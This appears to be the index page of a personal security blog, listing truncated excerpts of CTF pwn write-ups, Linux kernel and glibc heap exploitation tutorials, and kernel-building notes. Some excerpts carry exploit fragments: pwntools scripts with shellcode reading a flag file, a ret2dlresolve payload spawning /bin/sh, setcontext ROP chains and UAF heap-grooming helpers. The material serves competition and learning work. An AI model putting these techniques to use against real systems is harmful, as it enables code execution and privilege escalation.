2026
  • Make Bootable USB for Custom Kernel

    Host: Dell XPS (2023) A compiled kernel source tree (with bzImage built) grub-mkrescue installed (sudo apt install grub-pc-bin grub-efi-amd64-bin xorriso mtools) A USB drive Ensure these are set in .config before building (required for UEFI framebuffer output on XPS): CONFIG_EFI=y CONFIG_EFI_STUB=y CONFIG_DRM=y CONFIG_DRM_SIMPLEDRM=y CONFIG_SYSFB=y CONFIG_SYSFB_SIMPLEFB=y CONFIG_FB=y CONFIG_FRAMEBUFFER_CONSOLE=y CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y Then resolve dependencies and build: make olddefconfig make -j$(nproc) e.g., can be...
    Read more
2025
  • Control Flow Intergreity (CFI) Schemes

    I document these points when I learn CFI related materials. kCFI is a Control-Flow Integrity implementation for the Linux kernel not hardware support is required. The following config would enable it: ./scripts/config -e CFI_CLANG ./scripts/config -d CFI_PERMISSIVE make LLVM=1 LD=ld.lld olddefconfig make LLVM=1 LD=ld.lld -j"$(nproc)" When we do forward controlflow changing (e.g., call/jmp), it checks the hash (4 bytes before...
    Read more
  • Slow Syzkalls Locator

    When using syzkaller there are many syzkalls; we want to avoid slow ones, so we need to locate them. This post shows how to solve the following problem: Assuming we have downloaded a corpus, we want to obtain a list of syzkalls that are slow. https://github.com/n132/slow-syzkall-locator The execution time of a syzkall can vary because of state or arguments. This...
    Read more
  • CorCTF 2025: Pwn (no windows)

    We @r3kapig and @ProjectSEKAIctf got 2nd place in CorCTF! Thank my teammates and @cor_ctf for the good time. I solved 2.5 PWN challenges and could have solved one more challenge if I had 30 more minutes after the game. I have been believing it’s a kernel 1-day challenge for 2 days. I noticed the OOB access and changed the length...
    Read more
  • How to patch a linux kernel bug

    Download the latest version of the linux kernel Make changes to the code Compile the code to make sure there is no compilation issue (warning/error), then do self-testing and make sure the original PoC doesn’t crash the vul. If possible, run a fuzzer to avoid potential issues. git add changed files git commit to add a commit message. git commit...
    Read more
2024
  • CPP UAF: FL_Support_Center (TSG 2024)

    It’s a challenge I didn’t solve in the game. Actually I solved it, but I didn’t noticed that we don’t need ROP in user mode since system("/bin/sh"). I did too much kernel stuff recently and I was diving hard to get ROP for this chal in the game. I solved it after the game. attachment CPP UAF challege The bug...
    Read more
  • OFF-BY-NULL to Docker Escaping: CorJail (CorCTF 2022)

    This is a write-up documenting a trial for the CTF challenge CorJail from CorCTF 2022. The challenge resource is avaliable on corCTF Github repo. The author’s write up is also good study resources. I exploited it by myself so using an different method. I’ll introduced the tiny problems I encountered and talk about the technical skills required for this challenge....
    Read more
  • pipe_buffer AAR/AAW: wall-rose (HITCON 2023)

    This is a challenge in HITCON 2023, a simple UAF challenge. It mentions KASLR-FG so I used to data-flow attack. The attachment is from this repo. This challenge is very simple and it provides a primitive that enables you UAF-Free a point. Considering there is no kamlloc-cg and there is KASLR-FG, I used dataflow attack method attacking /etc/passwd by pipe_buffer...
    Read more
  • A simple and hard challenge for micro-arch, kernel exploitation, and syscall: Sysruption (corCTF 2023)

    This is a cool challenge in corCTF 2023, related to micro-arch and kernel. This is just a write-up of reproducing. I also recommend you to read some better writeups from the author and zolutal’s write up, who got the first blood in the game. Btw, you can get the initial attachment from this repo. For this challenge there is nothing...
    Read more
  • UAF Exploitation in Linux Kernel (6.9.1): kUlele (crewCTF 2024)

    This is a CTF write-up for the challenges kUlele in crewCTF 2024. This is also my first challenge solved during the CTF game. attachment It’s a simple kernel challenge. It’s like the userspace menu heap challenge. In ioctl, there are three features, including add, allocate a kernel heap object (at most 10 times) del, free an allocated heap object show,...
    Read more
  • UAF Exploitation in Userspace (glibc-2.35): Ulele (crewCTF 2024)

    This is a CTF write-up for the challenges Ulele in crewCTF 2024. This is an after-ctf writeup since my teammate solved it during the game. Attachment It’s a simple menu-heap challenge on glibc-2.35. The users have three options to interact with the challenge add: malloc(0x68) and read 0x64 bytes from users to fill the chunk show: print the content of...
    Read more
  • OOB on a Page Struct Array: Faulty Kernel (DownUnderCTF 2024)

    To practice kernel exploitation, I plan to solve old CTF challenges and learn different skills from others. This is a reproducing write-up. I was working on AIxCC so didn’t play DownUnderCTF with r3kapig and this challenge is solved by @lotus in the game. Attachment This is a kernel challenge from DownUnderCTF 2024. This challenge includes a kernel module maintaining a...
    Read more
  • Limit Heap Overflow to Root with Cred (OOB Fengshui Crafting) /Pipe_buffer (Pipe Buffer AAR/AAW): Cache of Castaways (corCTF 2022)

    To practice kernel exploitation, I plan to solve old CTF challenges and learn different skills from others. Before doing this challenge, I already knew about the cross-cache attack from IPS. However, when I applied the same method to this challenge, I found it difficult to perform cross-page when the target allocation was noisy. After reproducing the official write I exploited...
    Read more
  • Learn UAF-Free-Leak, Retspill, and FG-KASLR bypassing from a CTF challenge: Wall of Perdition (corCTF 2021)

    To practice kernel exploitation, I plan to solve old CTF challenges and learn different skills from others. Basically, I’ll try to solve it by myself and then learn others’ solutions. This is the first challenge for this serial, hope it’s not the last one. Attachment This is a kernel challenge from corCTF 2021. You can also check the write-up from...
    Read more
  • Learn Kernel Heap Cross Page Overwrite and Page Level Fengshui from a CTF challenge: IPS(VULNCON 2021)

    I learned this skill from this article. This article is shitty since I wrote three write-ups for the same challenge. I just document what’s new so it’s not for other readers. I recommend you to read Kyle’s original post. Thanks @Kyle for the write-up! The attachment is available here. I analyzed the challenge and introduced related skills in this article....
    Read more
  • Learn Kernel Heap Freelist Hijacking from a CTF challenge: IPS(VULNCON 2021)

    I learned this skill from this article. This article introduces kernel heap freelist hijacking and related mitigations. It’s also a write-up for challenge IPS(VULNCON 2021). Before reading you should know: Linux Kernel Exploitation Technique: Overwriting modprobe_path. Thank @zolutal for saving me during hacking. The first part of this article is the same as this article, which introduces another method to...
    Read more
  • Kernel: Compute Slab Order from Object Size

    While performing page level fengshui in linux kernel, I don’t know how to get the the order number of one object. For exmaple, we know the size of struct so we know how large the object is but we don’t know how many pages the linux kernel heap manager gonna allocate when we run out of all objects. We gonna...
    Read more
  • Understanding Linux x86-64 Paging: How to get the physical address from a virtual address

    This article document what I learned from @zolutal’s blog Understanding x86_64 Paging This article will go through paging and understand the weird values in memory. KZong: git@github.com:n132/KZone.git We need paging since we want to provide virtual memory space for each process so all processes can assume they own the whole memory space. However, we can’t satisfy the huge amount of...
    Read more
  • Learn msg_msg-Kernel-Exploitation from a CTF challenge: IPS(VULNCON 2021)

    Introduced a method to construct arbitrary address read (Kernel Heap Area/ Object Size < 0x1000) primitive based on msg_msg. It’s also a write-up for challenge IPS(VULNCON 2021). Embarking on the VULNCON 2021 challenge marked a pivotal moment in my journey into kernel exploitation. Unlike previous challenges, this was the first non-educational kernel challenge I solved, without leaning on existing write-ups...
    Read more
  • Introduction of Microarchitecture Exploitation

    This article encapsulates the key skills and insights I gained from the ‘Microarchitecture Exploitation’ module at pwn.college. As a novice in this field, my grasp of the intricate details might not be exhaustive, and there could be inadvertent inaccuracies in my exposition. I warmly welcome any corrections or insights you might have. For those aspiring to deepen their understanding of...
    Read more
2023
  • Kernel Pwn: How to compile Kernel Module?

    Compile kernel (https://mirrors.edge.kernel.org/pub/linux/kernel/) (Enable loadable module support) Compile Kernel Module Compile busybox to generate filesystem (https://busybox.net/downloads/)(Static Linked, Create Init) I am not familiar with linux kernel so it’s hard to tell the size of a structure when playing the challenges. Some of the structures would have different sizes in different versions. It’s painful to remember all of them. Thus, I...
    Read more
  • Why is it so slow to debug kernel pwn challenges on WSL?

    WSL mounts the Windows filesystem on /mnt so operation related to your host filesystem would be slower. Packing the filesystem for pwn challenges includes lots of R/W operations, which enlarge the lagging. The solution is moving the challenge out of /mnt/. I am a Windows fan and use Windows as my While practicing kernel pwn challenges, I feel it’s so...
    Read more
  • Inline Assembly for C

    Use the C language function asm to write shellcode. This article is a part of my cheat sheet. Two weeks ago, I used c language to talk to the target vulnerable binary and executed the sent shellcode to get a shell. But I feel it’s verbose to use Python to generate the shell code. So I read several articles about...
    Read more
  • A New Format String Skill and Write-Up for HITCON 23: Wall Sina

    I learned some new skills about format string vulnerabilities from HITCON challenge: Wall Sina. I thought I knew all the format string attacking skills. However, during HITCON 2023, I encountered a simple but challenging format strings problem since I didn’t know a very useful skill. I’ll introduce this skill in this article and talk about some things we should take...
    Read more
  • Qemu Userspace Debugging

    Solution: gdbserver + qemu hostfwd Guide: QemuUserspaceDebugging.md This article provides a feasible, simple, and generic way to debug a user space program in a qemu virtual machine. For example: We have a userspace challenge running on a qemu virtual machine. We exploited the challenge locally but failed due to inconsistencies between our local stack and the remote stack. The challenge...
    Read more
  • [JustCTF-2023] Tic Tac PWN!

    I didn’t solve this challenge, this is an after game reproducing write-up. The solution is from my teammates @in1t. We are allowed to execute arbitrary libc functions (not starting with _) All parameters only have 4 bytes There is a check function to check if we have allocated memory less than 0x100000000. Can we register more than one function by...
    Read more
  • [JustCTF-2023] notabug

    r3kapig, 1st noabug Solvers: crazyman and n132 noabug2 Solvers: n132, KIM and debugger There is a new feature for sqlite that allows loading external libcs. For this challenge, we can create a new lib so we can just load a external lib to execute arbitrary command. exp.c: /* Add your header comment here */ #include <stdio.h> #include <sqlite3ext.h> /* Do...
    Read more
  • [DEF CON Qual-2023] Write-Up

    The teamwork carried me! I participated DEF CON 31 qualification round last weekend as a member of P1G BuT S4D and we got 9th in this round. I write this article to document several challenges I worked on. You can also find the official challenge source code/ solution here: https://github.com/nautilus-institute/quals-2023 Analysis: We need to reverse the challenge by interacting with...
    Read more
  • [LACTF-2023] Write-Up for Pwn Challenges

    Recovering. I solved 3 pwn challenges in the game and spent 20 hours on the 4th challenge(stuff). Also, the 4th one teaches me a lot. It’s a good challenge. This is a classic stack challenge, which overflows 0x10 bytes. We can overwrite the stored RBP and the return address. So stack pivot is easy to get to exploit since there...
    Read more
2022
  • [CSAW'22 Qual] My Pwn Challenges

    A great honor to be one of the CSAW developers and I wrote three challenges for the CSAW qualification round. You can get the attachment and source code from Osiris Lab Cuz CSAW is an entry-level CTF, we would have lots of players who are very new to cybersecurity. I try to make my pwn challenges interesting and educational. This...
    Read more
  • Google CTF 2022 S2: Escape from Google's Monitoring

    attachment I didn’t solve this challenge in the game and it’s a review based on the official wp. You can find my exploit binary here, I write it according to the official one. It’s a challenge based on sandboxed-api@google, which is a c/c++ library. With this library, we can apply our sandbox policy to an executor (program). While running, the...
    Read more
  • Guide-of-Seccomp-in-CTF

    Last weekend, I met a sandbox challenge, s2, on gctf-2022. However, I can’t solve it because I don’t know the stories about the seccomp. I would go through BPF in this passage. If you are a pwner, you probably know seccomp. It’s commonly used in pwn challenge for meny purposes. First, it could be used to require the folks to...
    Read more
  • Introduction of Kernel Pwn: userfaultfd

    I only have little experience with kernel pwn. During the Intro_to_OS course, I read a lot of kernel code of xv6 and learned the kernel systematically. Although xv6 is a simple system while the Linux kernel is much more complex, the knowledge from xv6 learned helps a lot. This post would not go too deep into the kernel because I...
    Read more
  • Introduction of Kernel Pwn: Double Fetch

    I only have little experience with kernel pwn. During the Intro_to_OS course, I read a lot of kernel code of xv6 and learned the kernel systematically. Although xv6 is a simple system while the Linux kernel is much more complex, the knowledge from xv6 learned helps a lot. This post would not go too deep into the kernel because I...
    Read more
  • Introduction of Kernel Pwn: UAF

    I only have little experience with kernel pwn. During the Intro_to_OS course, I read a lot of kernel code of xv6 and learned the kernel systematically. Although xv6 is a simple system while the Linux kernel is much more complex, the knowledge from xv6 learned helps a lot. This post would not go too deep into the kernel because I...
    Read more
  • Introduction of Kernel Pwn: Stack Overflow

    I only have little experience with kernel pwn. During the Intro_to_OS course, I read a lot of kernel code of xv6 and learned the kernel systematically. Although xv6 is a simple system while the Linux kernel is much more complex, the knowledge from xv6 learned helps a lot. This post would not go too deep into the kernel because I...
    Read more
  • XV6: Syscall and Scheduler

    In this section we would review the syscall from both high level and low level! Also, we would also go through other similar mechanisms, such as the interupt, to have a more clear view of the operation system. Let’s start from something simple, adding a system call. In this section, we gonna add a new syscall SYS_n132 to the xv6...
    Read more
  • XV6: The Boot Procedure

    The first task of a system is boot. real mode, aka real address mode. It uses the real address and there is no protection. This file would xxxxxx. The BIOS would jmp to the real address 0x7c00 to start first operation system’s instruction and that’s also the start of bootasm.S. It’s still in 16-bit real mode and would finish some...
    Read more
  • Limit and Pwn the Processes: sbnote in zer0pts CTF 2022

    This is a challenge in the zer0pts CTF 2022. It’s pity that I didn’t solve it in the game, but it’s supper worthy to write a single post for this challenge. I learned a lot in this challenge, including some unrelated knowledge. Yeah, I tried tons of wrong ways to solve it. And the official solution is really innovative for...
    Read more
  • XV6: How to write a shell

    I’ll have a quick look at XV6 shell.c to understand the implementation of its features, such as running command, redirection, pipe, list… You can find the source code in xv6’s repository. (https://github.com/mit-pdos/xv6-public/blob/master/sh.c) main chdir (command cd) Parse & Run Command We have 6 structions and 5 kinds of command types, including execcmd, redircmd, pipcmd, listcmd, and backcmd, and they have...
    Read more
  • Communication of Processes in Linux - Isolated

    I played this CTF with my teamates @r3kapig, we ranked 10th(5330 points). It’s a pity that we need 28 pints more to get the tickets to the final. But I really enjoy this CTF. I spent the whole day on this challenge, isolated. Besides, I learned a lot about the linux signal and communication between porcesses. It’s a simple challenge....
    Read more
  • Who Moved My Block-Real World Stack Overflow

    Real world CTF is my first CTF in 2022, I had a great time with my teammates@r3kapig! Especially thanks to @2019 @crazyman, we solved the challenge together! This challenge is my first real-world challenge. Someone calls it “clone and pwn” challenge, which means we should clone the latest version of the project and pwn it with 0day vulnerability. Also, nbd...
    Read more
2021
  • Address Sanitize Intro

    The document of Address Sanitizer is amazzzzzing, this passage is personal note about the doc. AddressSanitizer · google/sanitizers Wiki It’s project from google, named AddressSanitizer ASan. Use after free / dangling pointer dereference Heap / Stack / Global buffer overflow … Hook malloc and free in run-time. Poising the address around malloc-ed chunk and quarantine the free -ed chunks. When...
    Read more
  • V8 OOB

    OOB is a challenge on StarCTF-2019. It’s a basic but classical one. V8 is an open source engine for JavaScript which is implemented in Chrome. There are several passages for setting up the environment, learning some basic knowledge for about the JavaScript and V8. V8 Compiling: V8 env object’s structure: Fast properties in V8 oob: oob The challenge gives a...
    Read more
  • 0CTF/TCTF 2021 NaiveHeap

    Last week, I took part in 0CTF final with my teammates@r3kapig and got 2nd place! I’ll introduce the only challenge I solved in the CTF: NaiveHeap. Because of lacking knowledge of output buffer, we solved it nearly one day after we exploit locally. After talking to the challenge writer, I fond mine solution is an unexcepted one: I use some...
    Read more
  • Virtual Machine Escaping:VM note

    上周和文萱还有远程队友师傅们参加了qwb final,0输出摸鱼选手,一题vmnote做两天,我至今疑惑为啥1血那么快就出来了,第2天早上我们才逆完虚拟机的asm,这大概就是差距吧orz。这是我做的第一题vmpwn,感觉挺有趣的,除了hardworking的部分以外。 那天下午一直以为洞在vm操作里,我看了34个小时感觉vm写的很安全,后来看heap操作的时候感觉有点小瑕疵之外还是很安全的(这个小瑕疵没有直接利用的可能),唯独没看readint操作。没想到这弄没大眼的家伙居然藏了个offbynull。最后2.5小时开始写exp,但是一不小心mv /lib/x86_64-linux-gnu/libc-2.31.so . 直接把docker弄挂了,重写最后都控制执行流了但是一直卡在一个read坑里,最后时间跑完了也没搞出来。 总之题目是挺有意思的,虽然很多我没实力体验,下次有机会再来。 (完整的逆向内容我就不贴了想体验这题的建议从逆向开始<3) attachment: https://github.com/n132/attachment/tree/main/QWB_2021_Final/vmnote update 07/20/2021 vmnote decompiler: https://github.com/P4nda0s/qwb_vmnote_recompiler 这题有个note.bin的文件,binary实现了一个虚拟机,note.bin是一个程序可以放在虚拟机里面跑,直接运行的话有个密码。 binary的虚拟机逆向还是比较轻松的,一共10几个操作逆向完就行;一开始需要逆向,还有就是我们当时经验缺乏的一个点,逆向可以先着重找password部分patch掉,让负责pwn的师傅可以先跑起来熟悉熟悉,无逻辑找找洞。 之后就需要逆向虚拟机的binary,这个部分我们是由枥锐师傅写了一个解释器,将虚拟机binary解释成类似于汇编语言的形式: 0x145--------: push rbp 0x147--------: mov rbp, rsp 0x14a--------: mov r0, 0x1132 0x154--------: call write 0x159--------: call readint # ReadInt ... 之后我们再一段段人脑f5,标注每个函数的意思: 0x0 - 0x22 == main 0x23 - 0x3c == initRandSeed 0x3d - 0x4c == exit(0) 0x4d -0x5c == getTime 0x5c -0x6a...
    Read more
  • Off By Half Byte:Baby-Dairy

    libc version == 2.31 漏洞点: add会比输入的size大一个字节之后会补零,之后会往内容后面多半个字节写一个checksum(暂且称之为offby0.5) show的时候会检查checksum不过写的有些问题用的是&1所以一半可能性能show出来(虽然index和ptr和size会被检查) 虽然做完之后感觉也没啥,但是这种利用large bin的方式很巧妙值得一篇单独的wp。 本题之中开始时能用的上的只有 offby0.5,不能控制size大小所以只能控制inuse,这时候只能走unlink。因为unlink会检查 fd→bk 和bk→fd,但是没有泄漏,所以需要借助已有的地址,至于为什么要用largin bin因为large bin可以直接提供两个指向自己的heap指针且恰好可以设计size=presize(其实我是马后炮,我是看了队友给出的一篇文章发现2.29没泄漏走large bin比较快)。 一个large bin一般长这样,我们构造我们的fake chunk 再large bin +0x10处,将bk改成size,使其等于persize,presize自己算,恰好把fake chunk给unlink掉。 large bin (splited): -------------------------------- presize size -------------------------------- fd bk -------------------------------- fd_nextsize bk_nextsize -------------------------------- unsorted bin ... -------------------------------- attack chunk:(which offby0.5/with a fake presize) -------------------------------- victim: (which would consolidate backforward) ... -------------------------------- 我们的写指针从fd开始写,当只有一个large bin的时候nextsize指针都指向自己,这是个优势我们如果要满足unlink只需要 presize = large bin...
    Read more
  • How do free&malloc work

    This passage is a record while analyzing the source code of glibc-2.29. Complete errs are shown in the next section. strong_alias (__libc_free, __free) strong_alias (__libc_free, free) check __free_hook’s value ( Jmp if NZ) check if mmapped (to process if Yes) other cases: call _int_free check invalid pointer & invalid size tcach process (double free detected in tcache 2) fast bin...
    Read more
  • Punch Man

    很棒的一题,主要使用了libc-2.29下利用 small bin tache stash tacache中有6个chunk的情况,攻击效果是类似于之前版本的 unsorted bin attack 往任意地址写固定值。 libc=2.29 保护全开+orw UAF malloc范围限制在small bin范围 UAF比较明显,很容易泄漏heapbase&libcbase,主要难在利用,因为题目用的是calloc所以不从tcache里面取,有个隐藏菜单可以malloc 0x217,但仅限于tcache满的时候。 所以在这种情况下,tcache和small bin的路已经被锁死了,需要用 small bin相关的利用来扩大利用。 libc 2.29引入的新机制,可以在这里看看,和本题相关的简单来说当tcache未满时从small bin取下一个时会将剩下的chunk放入tcache,但是检查不严格。如下可以看到,没有检查bck的fd是不是victim。 #if USE_TCACHE /* While we're here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim; /*...
    Read more
  • Qwb2021

    比赛的时候只会做简单题,现在复现一下题目,感觉跟不上时代了。 libc-2.23& export LD_PRELOAD=./libseccomp.so.0 没有开 nx和 full relro所以可以直接写掉got + orw shellcodefrom pwn import * context.log_level='debug' context.arch='amd64' def cmd(c): p.sendlineafter(">>\n",str(c)) def add(idx,c="A\n",size=8): cmd(1) p.sendlineafter(":\n",str(idx)) p.sendlineafter(":\n",str(size)) p.sendafter(":\n",c) def free(idx): cmd(4) p.sendlineafter(":\n",str(idx)) #p=remote("39.105.131.68",12354) p=process("./pwn") sh=''' push rsp pop rsi push rdi pop rax push rdi pop rdx jmp .+0x1a ''' add(-13,asm(sh).ljust(8,'\x90')) sh=''' mov dl,0xff syscall call rsp ''' add(0,asm(sh).ljust(8,'\x90')) #gdb.attach(p,'') cmd(5) sh =shellcraft.open('./flag',0,0)...
    Read more
  • Ret2dlresolve

    之前搞明白了一年没打ctf就全忘了,重新复习下,顺便学习了直接用 Ret2dlresolvePayload 自动: rop = ROP("./pwn") elf = ELF("./pwn") dlresolve = Ret2dlresolvePayload(elf,symbol="execve",args=["/bin/sh",0,0]) rop.read(0,dlresolve.data_addr) rop.ret2dlresolve(dlresolve) pad=0 payload ='\0'*pad+str(rop) p.send(payload.ljust(0x100)) p.send(dlresolve.payload) 手动: #32 bss = 0x0804a000 pad = 0x2c read = 0x80482e0 plt_0 = 0x80482d0 bss = bss + 0x800 strtab =0x804821c symtab =0x80481cc rela_plt = 0x8048298 ppp=0x080484a9 payload = '\0'*pad+flat([read,ppp,0,bss,0x200])#+p64(rdx)+p64(0x100) payload+= flat([plt_0,(bss-rela_plt)],0xdeadbeef,bss+0x58,0,0) p.send(payload.ljust(0x200)) fake=[ bss+0x100, ((((bss+0x0c-symtab)/0x10))<<8)+7, 0,#elf64_rela end (0x50+bss-strtab), 0, 0,...
    Read more
  • Re-alloc-Revenge

    realloc-revenge是realloc那题的一个加强版,主要逻辑不变,在allocate里面的realloc变成了malloc,保护全开,依然是2.29的libc。最佳我做到的应该是1/16,只需要猜stdout的半个字节。 漏洞点是realloc在设定size为0时执行free但是指针不清空所有有UAF有几个组合技巧。 本文的伪代码第一个参数为指针的idx,第二个参数为size,第三个参数是写入内容。 一共就两个可用指针,malloc最大0x78,想要控制任意地址就需要利用realloc的切割。 malloc(0,0x78) realloc(0,0) realloc(0,0x78,p64(Arbitrary Address)) malloc(1,0x78) realloc(1,0x28) free(1) malloc(1,0x78,Paylaod) 填满tcache需要6个chunk,要求是尽可能只用掉一个size的list,因为如果用切割那么会填满2个而我们后面还有为了清空指针切割两次的操作会用到 0x80→0x40*2→0x20*2。可以使用 realloc-expand来搞定。 for x in range(7): add(0,0x28) realloc(0,0x68) free(0) add(0,0x28) realloc(0,0x68) add(1,0x18) free(0) 这个也不算什么组合。。就是正常的realloc为0之后realloc原来的大小就可以看成是edit了。 因为这题我走了些弯路所以有比较直接的1/256的做法和比较绕圈圈的1/16做法。先讲1/16的做法。 要想1/16所堆绝对不能猜,也就是不能用管理tcache的结构体。只能靠填满tcache然后用consolidate来获得一个smallbin。前文的Tricks中已经讲了如何填满tcache所以后面要做的是在menu等待输入的时候输入 '1'*0x400 就可以触发。之后比烦需要改两次,一次是把tcache劫持指向获得的smallbin,第二次是把smallbin用前面说到的 Modify Arbitrary Address 来partial write smallbin的fd(此处猜1/16)。接着IO_LEAK,之后控制free_hook+get shell,写了70多行。 from pwn import * context.arch='amd64' context.terminal=['tmux','split','-h'] def cmd(c): p.sendlineafter("ice: ",str(c)) def add(idx,size,c="A"): cmd(1) p.sendlineafter(":",str(idx)) p.sendlineafter(":",str(size)) p.sendafter(":",c) def realloc(idx,size,c="A"): cmd(2) p.sendlineafter(":",str(idx)) p.sendlineafter(":",str(size)) if(size>0):...
    Read more
  • Setcontext

    context.arch='amd64'#"i386" # get gadgets & make payload # len(payload)= 23*8+6 rax=base+gadget['rax'] rdi=base+gadget['rdi'] rsi=base+gadget['rsi'] rdx=base+gadget['rdx'] filename_addr=libc.sym['__free_hook']+0x200+23*8 buf=libc.sym['__free_hook']+0x100 payload = flat([rax,2,rdi,filename_addr,rsi,0,rdx,0,sys]) payload += flat([rax,0,rdi,3,rsi,buf,rdx,0x50,sys]) payload += flat([rax,1,rdi,1,sys])+'/flag\0' context.arch='amd64'#"i386" sys=libc.sym["getpid"]+5 leave=libc.sym['strfromf128']-0x51d # RSP -> gadget of 'leave ret' # Set __free_hook+8 ->leave is a good choice rsp=libc.sym['__free_hook']+8 rdi=0 rsi=0x200+libc.sym['__free_hook'] rdx=0x200 rbp=rsi-8 rcx=sys setcontext='\0'*0x68+flat([rdi,rsi,rbp,0,rdx,0,0,rsp,rcx])#len=22*8 ######################Part2################################ rax=base+gadget['rax'] rdi=base+gadget['rdi'] rsi=base+gadget['rsi'] rdx=base+gadget['rdx'] filename_addr=libc.sym['__free_hook']+0x200+23*8 buf=libc.sym['__free_hook']+0x100 payload = flat([rax,2,rdi,filename_addr,rsi,0,rdx,0,sys])...
    Read more
  • New_Features_In_Glibc-2.29

    好久没有做题了,快要跟不上时代了,快点学下新libc(已经旧了)的特性,相比2.27来说2.29保护加的不多。 glibc-2.29中对tatche中的chunk增加了一个字段,key。 //https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#2904 typedef struct tcache_entry { struct tcache_entry *next; /* This field exists to detect double frees. */ struct tcache_perthread_struct *key; } tcache_entry; 这个key是因为原本tcache中的 double free太简单了,没有任何检查。 检查相关的代码在 _int_free 中 //https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#4193 #if USE_TCACHE { size_t tc_idx = csize2tidx (size); if (tcache != NULL && tc_idx < mp_.tcache_bins) { /* Check to see if it's already in the tcache. */ tcache_entry...
    Read more
  • Re-alloc

    题目非常简洁,一共三个功能: realloc 创建一个堆块 realloc 重新分配一个已经存在堆块的大小 realloc 释放一个堆块 存在的漏洞点有两个 创建一个堆块中有个 OFF BY NULL(虽然对做题没啥用) 重新分配大小中可以设置大小为0,这样就是一个UAF 题目限制 只能同时控制两个chunk realloc大小≤0X78 主要就是如何利用这个UAF 显而易见的是可以将一个任意地址链入tcache,设第一次的size为 x add(0,x) - > re(0,0) - > re(0,x-0x20,p64(0xdeadbeef)) 但是这样做 有个问题如果我们想要获得0xdeadbeef这个chunk我们需要add 2次,那么如何清除指针是一个问题,本题中出了delet功能没有其他功能可以清除指针。 delet中有两个问题 chunk size不能是 x ,否则会挡住我们想要获得的地址 防止 double free 被检查到 在libc-2.29中防止double free被检查的方法有两个,修改chunk size 或者修改key。 本题中前者比较好用,因为realloc有切割功能,只要通过第二个功能就可以修改chunk的大小。 所以我们的思路是 UAF 将需要控制的地址链入tache 清空bss上指针 写入需要控制的地址 from pwn import * #context.log_level='debug' context.arch='amd64' def cmd(c): p.sendlineafter("ce: ",str(c)) def add(idx,size,c="A"):...
    Read more
  • App_Hook_in_CTF

    最近在学习Frida,然后其中的一个demo是一个TCTF的题目,我开始用了逆向的方式一点点弄出来然后抱着学习Frida的目的hook了一遍做出来。以下是两个方法的过程,可以作为熟悉hook的练习材料。 题目的附件可以在Xctf-攻防世界-练习-Mobile-app3处下载,我在此处做了备份提供下载。下载之后得到了一个以 .ab 为后缀的文件,file以下可以得知是一个Android Backup文件,谷歌以下发现可以用这个工具提取,提取之后得到两个数据库文件一个apk文件,接下来就可以开始逆向了。 直接逆向,一共只有4个类:a,b,AnotherActivity,MainActivity。 先看MainActivity,其中a连接了一个数据库,其中的click将输入的账号密码存入数据库。 a方法中的getWritableDatabase的参数就是数据库的密码。 String a2 = aVar.a(contentValues.getAsString("name"), contentValues.getAsString("password")); aVar.a(a2 + aVar.b(a2, contentValues.getAsString("password"))).substring(0, 7) 所以我们要做的是弄清楚这个密码然后看看数据库内容。 aVar 是一个a的实例,先看看a类的两个方法a.a&a.b,还是比较短/简单的,其中还涉及到了类b。 先看类b,可以看出两个方法分别返回参数的md5和sha-1。 public class b { public static final String a(String str) { char[] cArr = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'}; try { byte[] bytes = str.getBytes(); MessageDigest instance...
    Read more
  • Extract_Firmware

    Use binwalk to extract NETGEAR firmware In computing, firmware is a specific class of computer software that provides the low-level control for a device’s specific hardware.Firmware can either provide a standardized operating environment for more complex device software (allowing more hardware-independence), or, for less complex devices, act as the device’s complete operating system, performing all control, monitoring and data manipulation...
    Read more
2020
  • Tcache stashing unlink atk

    one_punch_man(glibc-2.29) twochunk(glibc-2.30) one_punch_man(glibc-2.29) & twochunk(libc-2.30) This passage would introduce a new tcache attach method: “tcache stashing unlink attack” before the main part, it’s important to know what’s new in glibc-2.29. I found we can’t use setcontext as before, becouse it will set rbx as a base-ptr rather than rdi. //setcontext push rdi ... ... pop rbx mov rsp, qword ptr...
    Read more
  • twctf_2018_bbq

    堆风水主要的漏洞点有两个 idx 越界 free ptr uninitialization 主要的难点是他的输入采用了 先读到stack上之后strcmp: \x00截断 用的是fgets长度0x40: 长度比较短,只能一点一点来,而且防止简单地泄漏。 其中主要有2个结构体 描述食材,是由bss上一个指针指向的一个单向链表. struct A{ struct A* pre;//单向链表状 int stock;//库存量 char * name;//食材名字 } 描述烤架上正在烧烤的食物. struct food{ struct A* raw;//指向食材 int state;//表示被烤的程度,如果程度达到8且在烤架0-5上就会被烤成炭(无法吃-free) unsigned long long flag; //0xdeadbeef11 表示可以free } 其中的操作主要由4个(其中4是我杜撰的…) 创建食材,可以设置stock,如果是已有的食材那么新加的stock会加到原有的stock上(不要忽视这一点…) 食材上烤架,可以任意设置在烤架的位置(signed int),食材必须在以经入链,上烤架之后会减少库存1. 吃食物,此处可以free任意地址(满足的条件是*(ptr+0x10)=0xdeadbeef11) 设置操作3的ptr可以使用1操作creat("A"*0x28+p64(ptr),0)来实现 通过以上操作的各种组合我们可以得到以下比较容易想到的操作组合 (后文我将操作一称为creat,操作二称为add,操作3称为free) 整理内存 通过先囤积一部分0x20的chunk之后free的方式让堆内存更清晰(我个人感觉如此) ```python creat(“n132”,0x666) add(“n132”,21) add(“n132”,22) add(“n132”,23) add(“n132”,24) free(21) creat(“something”,1) 2. 构造任意`size`的`fake_chunk`(通过这样的方式我们可以构造出`unsorted bin`)...
    Read more
2019
  • ONEPUNCH

